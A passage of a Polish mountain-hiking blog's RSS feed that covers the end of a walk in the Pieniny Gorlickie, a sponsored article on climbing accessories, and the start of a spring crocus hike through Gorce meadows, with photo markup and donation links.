<p>Prawosławna cerkiew parafialna pod wezwaniem św. Łukasza zbudowana w II połowie XIX wieku (prawdopodobnie ok. 1868) to dawna cerkiew greckokatolicka. Świątynia jest charakterystyczna dla zachodniołemkowskiego budownictwa cerkiewnego. Posiada konstrukcję zrębową, dolne części połaci dachowych załamane są uskokami. Ściany zewnętrzne pokryte gontem. Zarówno hełm wieży jak i dachy zakończone wieżyczkami posiadają ślepe latarnie zwieńczone kutymi, żelaznymi krzyżami. Wygląd robi naprawdę wrażenie&#8230; Przeszedłem obok niej szukając ścieżki w kierunku szczytu Łysiec.</p>
<div id="attachment_53462" style="width: 778px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-38.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53462" class="size-large wp-image-53462" src="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-38-768x1024.jpg" alt="" width="768" height="1024" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-38-768x1024.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-38-225x300.jpg 225w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-38.jpg 900w" sizes="(max-width: 768px) 100vw, 768px" /></a><p id="caption-attachment-53462" class="wp-caption-text">leśna droga na Łysiec</p></div>
<p>Wąska dróżka zaczyna się obok cmentarza i prowadzi nad dzikim, głębokim jarem, z jego lewej strony. W pewnym momencie urywa się, ale po kilku krokach przez chaszcze łapiemy wyraźną drogę leśną, którą idziemy w prawo, by przejść przez wąwóz na drugą stronę, a tam prowadzi już szeroka droga leśna pod górę. Wyprowadza ona powyżej początku tego jaru, gdzie skręcamy w lewo dochodząc do krzyżówki leśnych tras. Tutaj musimy odbić ostro w prawo, w najstromszą drogę, gdyż ona wyprowadza nas bezpośrednio w sąsiedztwo wierzchołka Łyśca.&nbsp;</p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-50-e1774818028239.jpg"><img loading="lazy" decoding="async" class="aligncenter wp-image-53463 size-large" src="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-50-e1774818028239-617x1024.jpg" alt="" width="617" height="1024" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-50-e1774818028239-617x1024.jpg 617w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-50-e1774818028239-181x300.jpg 181w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-50-e1774818028239.jpg 720w" sizes="(max-width: 617px) 100vw, 617px" /></a></p>
<p>Przed samą kulminacją teren się wypłaszcza i po pokonaniu dwóch zakrętów (lewo- prawo) osiągamy szczyt Łyśca mający 662 m. Tu także nie ma żadnej tabliczki, więc po chwili odpoczynku powędrowałem dalej. Przez kulminację szczytową wiedzie wyraźna droga wschód- zachód, a ja skręciłem w lewo, by kierować się z powrotem do wsi Łosie. Monotonne zejście, ale dość łagodne szybko sprowadziło mnie na łąki nad wioską. Jeszcze raz mogłem spojrzeć na górujący nad otoczeniem Chełm (780 m). Ale nie zszedłem prosto do wsi tylko odbiłem w lewo, by trzymać się drogi wiodącej skrajem lasu&#8230;</p>
<div id="attachment_53464" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-42.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53464" class="size-full wp-image-53464" src="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-42.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-42.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-42-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-42-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-42-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-42-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-42-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53464" class="wp-caption-text">góra Chełm góruje nad Łosiem</p></div>
<p>Ona doprowadziła mnie z powrotem w pobliże parkingu, gdzie zostawiłem samochód. Przeciąłem ostatnie leśne skrzyżowanie prosto schodząc bezpośrednio do przysiółka Łosia, gdzie czekało auto! I tak zakończyła się moja kolejna beskidzka przygoda. Choć nie była specjalnie widokowa, ale czasem wystarczy przejść się do lasu, by poczuć się lepiej&#8230; 🙂 Towarzyszyli mi znowu niezawodni kompani z GGG! Odkryłem nieznane mi miejsca, a to wystarcza czasem do szczęścia. Podeszliśmy jeszcze w stronę zapory, by obejrzeć ładne odsłonięcie skalne z prawej strony rzeki, gdzie przełom Ropy jest najładniejszy.</p>
<p style="text-align: center;">&nbsp;<iframe loading="lazy" style="border: none;" src="https://mapy.com/s/cohufaruse" width="700" height="466" frameborder="0"></iframe></p>
<p>A na koniec trafiliśmy do restauracji, gdzie zaparkowaliśmy, by uzupełnić spalone kalorie&#8230; 🙂 Natomiast Was jak zawsze zapraszam do obejrzenia galerii zdjęć z wypadu i czytania innych wpisów na blogu! Powyżej zostawiam też mapkę naszej trasy na około 15 km. A jeśli ten wpis dał Ci wartość, znalazłeś u mnie potrzebną wiedzę, inspiracje do podróży, to będę wdzięczny, jeśli postawisz mi kawę przez <a href="https://buycoffee.to/marcogor">serwis Buycoffee</a>. Tworzę bloga z ogromną przyjemnością i pasją od ponad 14 lat. Może komuś wpadnie do głowy udać się w te rejony z gotowym planem? Z górskim pozdrowieniem</p>
<p style="text-align: center;"><strong>Marcogor</strong></p>
<p style="text-align: center;">&nbsp;<a href="https://buycoffee.to/marcogor" target="_blank" rel="noopener"><img decoding="async" style="width: 351px; height: 92px;" src="https://buycoffee.to/static/img/share/share-button-primary.png" alt="Postaw mi kawę na buycoffee.to"></a></p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/Property1Default1_648a6cd69b-1.png"><img loading="lazy" decoding="async" class="aligncenter wp-image-53447 size-medium" src="https://marekowczarz.pl/wp-content/uploads/2026/03/Property1Default1_648a6cd69b-1-300x300.png" alt="" width="300" height="300" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/Property1Default1_648a6cd69b-1-300x300.png 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/Property1Default1_648a6cd69b-1-150x150.png 150w, https://marekowczarz.pl/wp-content/uploads/2026/03/Property1Default1_648a6cd69b-1-440x440.png 440w, https://marekowczarz.pl/wp-content/uploads/2026/03/Property1Default1_648a6cd69b-1.png 560w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
 [<a href="https://marekowczarz.pl/spacer-po-szczytach-pienin-gorlickich-z-losia-nad-klimkowke/">See image gallery at marekowczarz.pl</a>]The post <a href="https://marekowczarz.pl/spacer-po-szczytach-pienin-gorlickich-z-losia-nad-klimkowke/">Spacer po szczytach Pienin Gorlickich z Łosia nad Klimkówkę</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></content:encoded>
					
					<wfw:commentRss>https://marekowczarz.pl/spacer-po-szczytach-pienin-gorlickich-z-losia-nad-klimkowke/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Najlepsze akcesoria wspinaczkowe, które warto mieć!</title>
		<link>https://marekowczarz.pl/najlepsze-akcesoria-wspinaczkowe-ktore-warto-miec/</link>
					<comments>https://marekowczarz.pl/najlepsze-akcesoria-wspinaczkowe-ktore-warto-miec/#respond</comments>
		
		<dc:creator><![CDATA[marcogor]]></dc:creator>
		<pubDate>Sat, 04 Apr 2026 09:21:12 +0000</pubDate>
				<category><![CDATA[2026]]></category>
		<category><![CDATA[Mój górski świat]]></category>
		<category><![CDATA[wspinanie]]></category>
		<guid isPermaLink="false">https://marekowczarz.pl/?p=53469</guid>

					<description><![CDATA[<p>Na pierwszy rzut oka o jakości wspinania mają decydować buty, lina, uprząż i przyrząd asekuracyjny. To one budują fundament bezpieczeństwa i komfortu. Dopiero po kilku wyjściach na panel albo pierwszym sezonie w skałach większość osób zauważa jednak coś jeszcze: o płynności ruchu, pracy dłoni, porządku w sprzęcie i zwykłej wygodzie bardzo często przesądzają akcesoria. Niby [&#8230;]</p>
The post <a href="https://marekowczarz.pl/najlepsze-akcesoria-wspinaczkowe-ktore-warto-miec/">Najlepsze akcesoria wspinaczkowe, które warto mieć!</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></description>
										<content:encoded><![CDATA[<p><em><strong>Na</strong></em> pierwszy rzut oka o jakości wspinania mają decydować buty, lina, uprząż i przyrząd asekuracyjny. To one budują fundament bezpieczeństwa i komfortu. Dopiero po kilku wyjściach na panel albo pierwszym sezonie w skałach większość osób zauważa jednak coś jeszcze: o płynności ruchu, pracy dłoni, porządku w sprzęcie i zwykłej wygodzie bardzo często przesądzają akcesoria. Niby niewielkie, a w praktyce potrafią oszczędzić nerwy, poprawić przyczepność i sprawić, że wspinanie staje się bardziej przewidywalne.<span id="more-53469"></span></p>
<p>Właśnie dlatego temat nie kończy się na pytaniu co kupić, ale raczej jak wybierać dodatki, które rzeczywiście mają sens. Dobrze dobrana magnezja, sensowny woreczek, szczotka czy drobne elementy organizujące ekwipunek nie wyglądają spektakularnie w katalogu, ale w realnych warunkach pracują na rezultat. Jeśli interesują Cię najlepsze<a href="https://mmtsklep.pl/sprzet/sprzet-wspinaczkowy/akcesoria"> akcesoria wspinaczkowe</a>, warto spojrzeć na nie nie jak na gadżety, lecz jako na sprzęt wspierający technikę i nawyki.</p>
<h2>Magnezja, która pomaga utrzymać kontrolę</h2>
<p>Magnezja pozostaje jednym z podstawowych dodatków we wspinaniu, bo bezpośrednio wpływa na tarcie i pewność chwytu. Na ścianie treningowej wiele osób wybiera dziś formuły mniej pylące, zwłaszcza płynne lub w kulkach, ponieważ lepiej wpisują się w zasady obowiązujące w obiektach sportowych i ograniczają bałagan. W skałach nadal popularna jest klasyczna magnezja sypka, która pozwala szybko uzupełnić dłonie podczas prowadzenia lub prób na boulderze.</p>
<p>Dobór rodzaju magnezji warto uzależnić od miejsca i stylu wspinania. W płynie sprawdza się tam, gdzie liczy się czystość i równomierne pokrycie dłoni. Proszek daje swobodę szybkiego dozowania. Kulki są praktycznym kompromisem dla osób, które chcą ograniczyć pylenie, ale nie rezygnować z tradycyjnego sposobu użycia. Badania dotyczące wydolności chwytu pokazują, że stabilność kontaktu dłoni z chwytem ma znaczenie dla ekonomii ruchu, a to tłumaczy, dlaczego dobrze dobrana magnezja nie jest detalem, tylko realnym wsparciem podczas wysiłku.</p>
<h2>Woreczek na magnezję to nie ozdoba przy uprzęży</h2>
<p>Woreczek często bywa traktowany jako prosty dodatek, choć w praktyce potrafi bardzo ułatwić wspinanie. Najlepsze modele mają usztywniony rant, dzięki czemu łatwo trafić do środka dłonią nawet w trudnej pozycji. Ważne są też stabilne zamknięcie, sensowny system mocowania i materiał, który nie będzie przesypywał zawartości do plecaka czy torby.</p>
<p>Na panelu dobrze sprawdzają się lekkie modele o prostym kroju. W skałach znaczenia nabierają drobiazgi: pętelka na szczoteczkę, wytrzymały pas i forma, która nie odkształca się po wrzuceniu do plecaka. To jeden z tych elementów, na których widać różnicę między przypadkowym zakupem a świadomym wyborem. Gdy ktoś pyta o najlepsze akcesoria wspinaczkowe, woreczek niemal zawsze powinien znaleźć się wysoko na liście, bo korzysta się z niego praktycznie na każdej sesji.</p>
<h2>Szczotka, taśmy i drobne dodatki, które porządkują wspinanie</h2>
<p>Wspinaczka uczy szacunku do skały i chwytów, dlatego szczotka nie jest fanaberią, tylko elementem dobrej praktyki. Pozwala oczyścić stopnie i chwyty z nadmiaru magnezji, poprawia tarcie i ogranicza zostawianie po sobie śladów. Najlepiej działają modele z włosiem dopasowanym do rodzaju powierzchni oraz uchwytem, który da się szybko wpiąć do woreczka lub schować do kieszeni plecaka.</p>
<p>Warto pamiętać także o akcesoriach mniej widowiskowych, ale bardzo przydatnych. Należą do nich między innymi:</p>
<ul>
<li>paski do woreczków, niewielkie karabinki akcesoryjne, apteczka oraz dodatki ułatwiające organizację sprzętu w transporcie</li>
</ul>
<p>To właśnie te elementy pomagają zachować rytm dnia wspinaczkowego. Zamiast szukać drobiazgów na dnie plecaka, można skupić się na rozgrzewce, asekuracji i kolejnych próbach. Doświadczeni wspinacze zwykle doceniają ten porządek bardziej niż efektowne nowinki.</p>
<h2>Jak wybierać akcesoria, żeby nie przepłacać i nie żałować</h2>
<p>Najrozsądniej zacząć od własnego stylu wspinania. Osoba trenująca głównie na panelu będzie miała inne potrzeby niż ktoś, kto regularnie jeździ w skały lub działa zimą. Nie każdy potrzebuje rozbudowanego zestawu od razu, ale niemal każdy skorzysta z dobrze dobranej magnezji, funkcjonalnego woreczka i szczotki. Dopiero później warto dobierać kolejne dodatki zależnie od częstotliwości wyjazdów, warunków i rodzaju aktywności.</p>
<p>Dobrą wskazówką jest też obserwacja jakości wykonania. W akcesoriach liczą się szwy, odporność materiału, prostota obsługi i realna wygoda, a nie sam wygląd. W praktyce lepiej kupić mniej, ale rozsądniej. Najlepsze akcesoria wspinaczkowe to nie te, które robią największe wrażenie na zdjęciu produktowym, lecz te, po które sięga się odruchowo przed każdą drogą i których brakuje natychmiast, gdy zostaną w domu.</p>
<p>Dobrze dobrane dodatki zmieniają wspinanie bardziej, niż sugeruje ich rozmiar. Poprawiają pracę dłoni, pomagają utrzymać porządek, wspierają dobre nawyki i po prostu ułatwiają skupienie na ruchu. W sporcie opartym na precyzji właśnie takie detale robią największą różnicę.</p>
<p>&nbsp;</p>
<p><em>Materiał zewnętrzny</em></p>The post <a href="https://marekowczarz.pl/najlepsze-akcesoria-wspinaczkowe-ktore-warto-miec/">Najlepsze akcesoria wspinaczkowe, które warto mieć!</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></content:encoded>
					
					<wfw:commentRss>https://marekowczarz.pl/najlepsze-akcesoria-wspinaczkowe-ktore-warto-miec/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Wypad przez gorczańskie polany na Czoło Turbacza i Turbaczyk</title>
		<link>https://marekowczarz.pl/wypad-przez-gorczanskie-polany-na-czolo-turbacza-i-turbaczyk/</link>
					<comments>https://marekowczarz.pl/wypad-przez-gorczanskie-polany-na-czolo-turbacza-i-turbaczyk/#respond</comments>
		
		<dc:creator><![CDATA[marcogor]]></dc:creator>
		<pubDate>Sat, 28 Mar 2026 22:48:10 +0000</pubDate>
				<category><![CDATA[2026]]></category>
		<category><![CDATA[Gorce]]></category>
		<category><![CDATA[Opowieści górskie]]></category>
		<category><![CDATA[cyrla hanulowa]]></category>
		<category><![CDATA[czoło turbacza]]></category>
		<category><![CDATA[diabelski kamień]]></category>
		<category><![CDATA[hala turbacz]]></category>
		<category><![CDATA[koniny]]></category>
		<category><![CDATA[kopieniec]]></category>
		<category><![CDATA[polana czoło]]></category>
		<category><![CDATA[polana figurki]]></category>
		<category><![CDATA[polana kopa]]></category>
		<category><![CDATA[polana przysłopek]]></category>
		<category><![CDATA[polana pustak]]></category>
		<category><![CDATA[polana solnisko]]></category>
		<category><![CDATA[polana spalone]]></category>
		<category><![CDATA[polana turbaczyk]]></category>
		<category><![CDATA[przeł. borek]]></category>
		<category><![CDATA[szałasowy ołtarz]]></category>
		<category><![CDATA[turbaczyk]]></category>
		<category><![CDATA[wierch spalone]]></category>
		<guid isPermaLink="false">https://marekowczarz.pl/?p=53355</guid>

					<description><![CDATA[<p>Wycieczka w poszukiwaniu krokusów ze wsi Koniny przez gorczańskie polany- Kopę, Przysłopek, Figurki, Pustak na Halę Turbacz, Czoło Turbacza i Turbaczyk.</p>
The post <a href="https://marekowczarz.pl/wypad-przez-gorczanskie-polany-na-czolo-turbacza-i-turbaczyk/">Wypad przez gorczańskie polany na Czoło Turbacza i Turbaczyk</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></description>
										<content:encoded><![CDATA[<p><em><strong>Korzystając</strong></em> z pięknej, słonecznej wiosny w marcu tego roku wybrałem się wcześniej niż zawsze na poszukiwanie gorczańskich krokusów. Który to już raz&#8230;? Czytelnicy mego bloga zapewne wiedzą, że <a href="https://marekowczarz.pl/z-lapsowej-koliby-przez-bukowiny-na-turbacz-i-dalej-czyli-zimowo-w-gorcach/">Gorce</a> odwiedzam często, nawet na pewno jestem w nich co roku! Bo te widokowe szczyty i urokliwe hale przyciągają niczym magnez i nigdy się nie nudzą&#8230; 🙂 Na tegoroczną wiosenną trasę wybrałem okolice Czoła Turbacza i Turbaczyka, czyli odwiedziłem z grupą zapaleńców z GGG północne rejony tych gór. Zaplanowałem ciekawą pętlę ze wsi Koniny leżącej na obrzeżach tego pasma.<span id="more-53355"></span></p>
<div id="attachment_53383" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-5.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53383" class="size-full wp-image-53383" src="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-5.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-5.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-5-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-5-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-5-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-5-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-5-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53383" class="wp-caption-text">kaskady na potoku Konina</p></div>
<p>Wieś położona jest na północnych stokach <a href="https://marekowczarz.pl/z-lubomierza-na-kudlonia-i-gorca-oraz-gorczanskie-polany/">Gorców</a>, w głębokiej dolinie potoku Konina i jego dopływów. Do miejscowości dochodzi szosa z Niedźwiedzia ślepo kończąca się przy leśniczówce w Potaśni. Nazwa (być może pochodząca od kun) pojawia się po raz pierwszy w źródłach już z 1234 roku. Wieś została założona przez cystersów ze Szczyrzyc. Między Potasznią, a polaną Hucisko poprowadzono kilka tras spacerowych, konnych i rowerowych. Mieszkańcy wsi należą do etnicznej grupy górali zwanych Zagórzanami.</p>
<div id="attachment_53366" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/Potasznia_a1.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53366" class="size-full wp-image-53366" src="https://marekowczarz.pl/wp-content/uploads/2026/03/Potasznia_a1.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/Potasznia_a1.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/Potasznia_a1-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/Potasznia_a1-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/Potasznia_a1-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/Potasznia_a1-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/Potasznia_a1-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53366" class="wp-caption-text">Polana Potasznia</p></div>
<p>We wsi istnieją stare zabudowania i dobrze zachowała się gwara i inne elementy zagórzańskiego folkloru.&nbsp; Jeśli we wsi trafi się przypadkiem na wesele góralskie, można wziąć w nim udział na prawach nieproszonego gościa tzw. ślęka. Potok o nazwie Konina tworzy w środkowym biegu przełomy we fliszu karpackim. I największą atrakcją we wsi jest wodospad w okolicy osiedla Talarki oraz zagłębienie w korycie rzecznym wyżłobione przez ten wodospad zwane Końskim Baniorem. Minęliśmy go jadąc na parking przy sklepie w górze wioski. Udało się zaparkować dwa auta dokładnie przy rozejściu szlaków!</p>
<div id="attachment_53365" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/a38c_1600_x_1200.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53365" class="size-full wp-image-53365" src="https://marekowczarz.pl/wp-content/uploads/2026/03/a38c_1600_x_1200.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/a38c_1600_x_1200.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/a38c_1600_x_1200-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/a38c_1600_x_1200-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/a38c_1600_x_1200-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/a38c_1600_x_1200-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/a38c_1600_x_1200-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53365" class="wp-caption-text">Koński Banior</p></div>
<p>Przy sklepie na osiedlu Natanki jest też paczkomat In-Post. Stąd zrobiliśmy pętelkę na około 18 km 🙂 Prowadził nas początkowo czarny szlak drogą, przez kolejne przysiółki wsi, aż do osiedla Żaby, gdzie weszliśmy w las, by stromym podejściem wznosić się powoli na grzbiet Kopy (1030 m). Tuż przed lasem na wiejskiej łące zobaczyliśmy pierwsze łany krokusów! Chwilami wspinaczkę ułatwiały ziemne schody&#8230; Już na grani szczytowej teren stał się łatwiejszy i osiągnęliśmy pierwszą polane z krokusami, zwaną Cyrla Hanulowa.&nbsp;</p>
<div id="attachment_53369" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-6.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53369" class="size-full wp-image-53369" src="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-6.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-6.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-6-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-6-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-6-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-6-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-6-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53369" class="wp-caption-text">krokusy na Cyrli</p></div>
<p>Nieduża hala znajduje się w zakończeniu grzbietu, obejmując kulminację wierzchołkową. W jej północno-zachodnim narożu stoi szałas z dużym okapem nad wejściem, boczną szopą i nietypowo dla gorczańskich szałasów, przykryty dachówką. Nazwa polany pochodzi od słowa cyrhlenie, oznaczającego dawny sposób tworzenia polan poprzez wypalanie. Od 1981 r. włączona została w obszar Gorczańskiego Parku Narodowego, który obejmuje również dawny las gminny wsi Konina na zboczach poniżej polany.</p>
<div id="attachment_53370" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-9.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53370" class="size-full wp-image-53370" src="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-9.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-9.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-9-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-9-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-9-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-9-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-9-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53370" class="wp-caption-text">Cyrla Hanulowa</p></div>
<p>W lesie tym na południowo-zachodnich i zachodnich stromych zboczach rośnie największa w Gorcach liczba drzew pomnikowych. Są to dorodne jodły o wysokości sięgającej 35–40 m, przy średnicy powyżej 100 cm w pierśnicy. Największa z tych jodeł miała w 2004 wysokość 41 m i średnicę 138 cm w pierśnicy i jest to największa jodła w GPN i najwyższa w całej Polsce! Przy szałasie zrobiliśmy sobie przerwę na drugie śniadanie. Potem musieliśmy podejść jeszcze wyżej na następną cudną polanę- Kopa.</p>
<div id="attachment_53371" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-11.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53371" class="size-full wp-image-53371" src="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-11.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-11.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-11-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-11-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-11-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-11-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-11-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53371" class="wp-caption-text">widok z Polany Kopa na Beskid Wyspowy</p></div>
<p>Polana ma powierzchnię 5,11 ha, zajmuje partie szczytowe Kopy i położona jest na wysokości 930–1034 m. Po zaprzestaniu jej użytkowania zarasta stopniowo borówczyskami i maliniakami. Nieco poniżej szlaku stoi niszczejący szałas charakterystyczny dla dawnego budownictwa Zagórzan. Jest to jeden z nielicznych jeszcze zachowanych szałasów tego typu. W lesie powyżej polany znajdują się wychodnie skalne. Największe z nich tworzą skalne ambony o wysokości do 20 m, jak np. Krowiarki. Warto tu przysiąść na ławeczce i delektować się panoramą&#8230; 🙂</p>
<div id="attachment_53372" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-13.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53372" class="size-full wp-image-53372" src="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-13.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-13.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-13-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-13-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-13-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-13-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-13-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53372" class="wp-caption-text">widok w kierunku Lubonia Wlk.</p></div>
<p>Bowiem z polany mamy szerokie widoki na Beskid Wyspowy, od Mogielicy, aż po Luboń Wielki. Podziwialiśmy je przez kilka minut, by ruszyć dalej. Czarny szlak przewijał się łagodnie przez następne polany- Figurki Niżnie, Średnie i Wyżnie. Polana Figurki Niżnie ma duże walory widokowe. W południowym kierunku szczególnie dobrze widoczna jest stąd pobliska Mostownica ze swoją dużą grzbietową polaną Mostownicą, Przysłopek i położony z tyłu za nimi Turbacz. W północno-zachodnim kierunku mamy zaś widok na Beskid Wyspowy z Luboniem Wielkim i Szczeblem.</p>
<div id="attachment_53373" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-14.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53373" class="size-full wp-image-53373" src="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-14.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-14.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-14-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-14-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-14-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-14-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/gorce-14-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53373" class="wp-caption-text">widok na Mostownicę</p></div>
